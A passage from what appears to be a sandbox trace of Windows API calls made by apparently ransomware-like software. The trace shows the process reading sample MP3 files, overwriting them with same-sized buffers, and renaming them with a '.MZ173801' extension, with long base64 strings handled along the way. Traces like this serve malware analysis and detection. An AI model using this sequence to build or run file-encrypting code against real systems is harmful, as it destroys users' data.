ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be5ebf7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3ec5d2)) returned 1 [0141.929] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0141.929] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0141.930] GetCurrentThreadId () returned 0x9fc [0141.930] GetCurrentThreadId () returned 0x9fc [0141.931] GetCurrentThreadId () returned 0x9fc [0141.931] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0141.931] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0141.931] GetCurrentThreadId () returned 0x9fc [0141.931] GetCurrentThreadId () returned 0x9fc [0141.931] GetCurrentThreadId () returned 0x9fc [0141.932] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a0 [0141.932] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0141.932] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0141.932] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x3ec5d2 [0141.932] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0141.932] VirtualAlloc (lpAddress=0x0, dwSize=0x3f0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ebb0000 [0141.933] ReadFile (in: hFile=0x2a0, lpBuffer=0x7ebb0010, nNumberOfBytesToRead=0x3ec5d2, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x7ebb0010*, lpNumberOfBytesRead=0x18f6c4*=0x3ec5d2, lpOverlapped=0x0) returned 1 [0142.046] CloseHandle (hObject=0x2a0) returned 1 [0142.046] VirtualAlloc (lpAddress=0x0, dwSize=0x3f0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7e7c0000 [0142.050] VirtualAlloc (lpAddress=0x0, dwSize=0x70000, flAllocationType=0x101000, flProtect=0x4) returned 0x7e750000 [0142.058] VirtualQuery (in: lpAddress=0x7e7c0000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7e7c0000, AllocationBase=0x7e7c0000, AllocationProtect=0x4, RegionSize=0x3f0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0142.058] VirtualAlloc (lpAddress=0x0, dwSize=0x90000, flAllocationType=0x101000, flProtect=0x4) returned 0x7e6c0000 [0142.069] VirtualQuery (in: lpAddress=0x7e750000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7e750000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x70000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0142.069] VirtualAlloc (lpAddress=0x7e750000, dwSize=0x30000, flAllocationType=0x2000, flProtect=0x4) returned 0x7e750000 [0142.070] VirtualAlloc (lpAddress=0x7e750000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x7e750000 [0142.074] VirtualQuery (in: lpAddress=0x7e780000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7e780000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x40000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0142.074] VirtualAlloc (lpAddress=0x7e780000, dwSize=0x30000, flAllocationType=0x2000, flProtect=0x4) returned 0x7e780000 [0142.074] VirtualAlloc (lpAddress=0x7e780000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x7e780000 [0142.078] VirtualQuery (in: lpAddress=0x7e7b0000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7e7b0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0142.078] VirtualAlloc (lpAddress=0x7e7b0000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x7e7b0000 [0142.078] VirtualAlloc (lpAddress=0x7e7b0000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x7e7b0000 [0142.080] VirtualQuery (in: lpAddress=0x7e7c0000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7e7c0000, AllocationBase=0x7e7c0000, AllocationProtect=0x4, RegionSize=0x3f0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0142.080] VirtualAlloc (lpAddress=0x0, dwSize=0x140000, flAllocationType=0x101000, flProtect=0x4) returned 0x7e580000 [0142.126] VirtualQuery (in: lpAddress=0x7e6c0000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7e6c0000, AllocationBase=0x7e6c0000, AllocationProtect=0x4, RegionSize=0x90000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0142.126] VirtualFree (lpAddress=0x7e6c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.131] VirtualQuery (in: lpAddress=0x7e750000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7e750000, AllocationBase=0x7e750000, AllocationProtect=0x4, RegionSize=0x30000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0142.131] VirtualFree (lpAddress=0x7e750000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.133] VirtualQuery (in: lpAddress=0x7e780000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7e780000, AllocationBase=0x7e780000, AllocationProtect=0x4, RegionSize=0x30000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0142.133] VirtualFree (lpAddress=0x7e780000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.134] VirtualQuery (in: lpAddress=0x7e7b0000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7e7b0000, AllocationBase=0x7e7b0000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0142.134] VirtualFree (lpAddress=0x7e7b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.140] VirtualQuery (in: lpAddress=0x7e6c0000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7e6c0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x100000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0142.140] VirtualAlloc (lpAddress=0x7e6c0000, dwSize=0x50000, flAllocationType=0x2000, flProtect=0x4) returned 0x7e6c0000 [0142.141] VirtualAlloc (lpAddress=0x7e6c0000, dwSize=0x50000, flAllocationType=0x1000, flProtect=0x4) returned 0x7e6c0000 [0142.148] VirtualQuery (in: lpAddress=0x7e710000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7e710000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xb0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0142.148] VirtualAlloc (lpAddress=0x7e710000, dwSize=0x70000, flAllocationType=0x2000, flProtect=0x4) returned 0x7e710000 [0142.148] VirtualAlloc (lpAddress=0x7e710000, dwSize=0x70000, flAllocationType=0x1000, flProtect=0x4) returned 0x7e710000 [0142.157] VirtualQuery (in: lpAddress=0x7e780000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7e780000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x40000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0142.157] VirtualAlloc (lpAddress=0x7e780000, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x7e780000 [0142.157] VirtualAlloc (lpAddress=0x7e780000, dwSize=0x40000, flAllocationType=0x1000, flProtect=0x4) returned 0x7e780000 [0142.163] VirtualQuery (in: lpAddress=0x7e7c0000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7e7c0000, AllocationBase=0x7e7c0000, AllocationProtect=0x4, RegionSize=0x3f0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0142.164] VirtualAlloc (lpAddress=0x0, dwSize=0x2d0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7e2b0000 [0142.187] VirtualQuery (in: lpAddress=0x7e580000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7e580000, AllocationBase=0x7e580000, AllocationProtect=0x4, RegionSize=0x140000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0142.187] VirtualFree (lpAddress=0x7e580000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.196] VirtualQuery (in: lpAddress=0x7e6c0000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7e6c0000, AllocationBase=0x7e6c0000, AllocationProtect=0x4, RegionSize=0x50000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0142.196] VirtualFree (lpAddress=0x7e6c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.199] VirtualQuery (in: lpAddress=0x7e710000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7e710000, AllocationBase=0x7e710000, AllocationProtect=0x4, RegionSize=0x70000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0142.199] VirtualFree (lpAddress=0x7e710000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.201] VirtualQuery (in: lpAddress=0x7e780000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7e780000, AllocationBase=0x7e780000, AllocationProtect=0x4, RegionSize=0x40000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0142.202] VirtualFree (lpAddress=0x7e780000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.215] VirtualQuery (in: lpAddress=0x7e580000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7e580000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x240000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0142.215] VirtualAlloc (lpAddress=0x7e580000, dwSize=0xc0000, flAllocationType=0x2000, flProtect=0x4) returned 0x7e580000 [0142.215] VirtualAlloc (lpAddress=0x7e580000, dwSize=0xc0000, flAllocationType=0x1000, flProtect=0x4) returned 0x7e580000 [0142.230] VirtualQuery (in: lpAddress=0x7e640000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7e640000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x180000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0142.230] VirtualAlloc (lpAddress=0x7e640000, dwSize=0xf0000, flAllocationType=0x2000, flProtect=0x4) returned 0x7e640000 [0142.230] VirtualAlloc (lpAddress=0x7e640000, dwSize=0xf0000, flAllocationType=0x1000, flProtect=0x4) returned 0x7e640000 [0142.313] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a0 [0142.349] WriteFile (in: hFile=0x2a0, lpBuffer=0x7e7c0010*, nNumberOfBytesToWrite=0x3ec5d2, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x7e7c0010*, lpNumberOfBytesWritten=0x18f6d0*=0x3ec5d2, lpOverlapped=0x0) returned 1 [0142.443] CloseHandle (hObject=0x2a0) returned 1 [0142.443] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3"), lpNewFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3.MZ173801" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3.mz173801")) returned 1 [0142.445] VirtualFree (lpAddress=0x7ebb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.471] VirtualFree (lpAddress=0x7e7c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.504] VirtualQuery (in: lpAddress=0x7e2b0000, lpBuffer=0x18f6c8, dwLength=0x1c | out: lpBuffer=0x18f6c8*(BaseAddress=0x7e2b0000, AllocationBase=0x7e2b0000, AllocationProtect=0x4, RegionSize=0x2d0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0142.504] VirtualFree (lpAddress=0x7e2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.523] VirtualQuery (in: lpAddress=0x7e580000, lpBuffer=0x18f6c8, dwLength=0x1c | out: lpBuffer=0x18f6c8*(BaseAddress=0x7e580000, AllocationBase=0x7e580000, AllocationProtect=0x4, RegionSize=0xc0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0142.523] VirtualFree (lpAddress=0x7e580000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.528] VirtualQuery (in: lpAddress=0x7e640000, lpBuffer=0x18f6c8, dwLength=0x1c | out: lpBuffer=0x18f6c8*(BaseAddress=0x7e640000, AllocationBase=0x7e640000, AllocationProtect=0x4, RegionSize=0xf0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0142.528] VirtualFree (lpAddress=0x7e640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.533] GetCurrentThreadId () returned 0x9fc [0142.533] GetCurrentThreadId () returned 0x9fc [0142.533] GetCurrentThreadId () returned 0x9fc [0142.533] GetCurrentThreadId () returned 0x9fc [0142.533] GetCurrentThreadId () returned 0x9fc [0142.533] GetCurrentThreadId () returned 0x9fc [0142.533] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Sleep Away.mp3", cAlternateFileName="SLEEPA~1.MP3")) returned 1 [0142.533] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0142.533] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0142.533] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459)) returned 1 [0142.538] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 